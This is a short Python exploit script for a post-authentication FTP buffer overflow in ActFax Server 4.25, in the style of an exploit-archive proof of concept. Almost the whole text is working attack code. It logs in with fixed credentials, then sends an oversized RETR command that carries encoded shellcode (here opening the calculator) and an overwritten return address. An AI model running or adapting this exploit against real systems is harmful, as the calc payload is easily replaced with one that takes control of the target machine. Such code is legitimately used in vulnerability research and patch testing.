ActFax Server 4.25 FTP Buffer Overflow

`#!/usr/bin/python  
# Exploit Title: ActFax Server FTP Remote BOF (post auth)  
# Date: Feb 15, 2011  
# Author: chap0  
# Software Link: http://www.actfax.com/download/actfax_setup_en.exe  
# Version: Version 4.25, Build 0221 (2010-02-11)  
# Tested on: Windows XP SP3 en  
# Big thanks to Sud0 - and an extra greetz to mr_me -RESPECT  
# Stay true my friends  
  
import socket  
  
print "\nActFax Server FTP Remote BOF"  
print " chap0 - www.seek-truth.net \n"  
  
# pops calc  
calccode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkXlqELKZL587Pep7PdoaxsSSQbLPcLMw5JXbpX8KwOcHBPwkON0A"  
  
# push ebp #pop eax #sub eax,55555521 * 3 :)  
junk = "\x55\x58\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55" + "C"*135 + calccode + "A"*(616-len(calccode))  
  
payload = junk + "\x37\x27\x40\x00" #RETN  
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
connect=s.connect(('192.168.1.2',21))  
s.recv(1024)  
s.send('USER ' + 'chapo\r\n')  
print (s.recv(1024))  
s.send('PASS chapo\r\n')  
print (s.recv(1024))  
s.send('RETR ' + payload + '\r\n')  
s.close  
  
`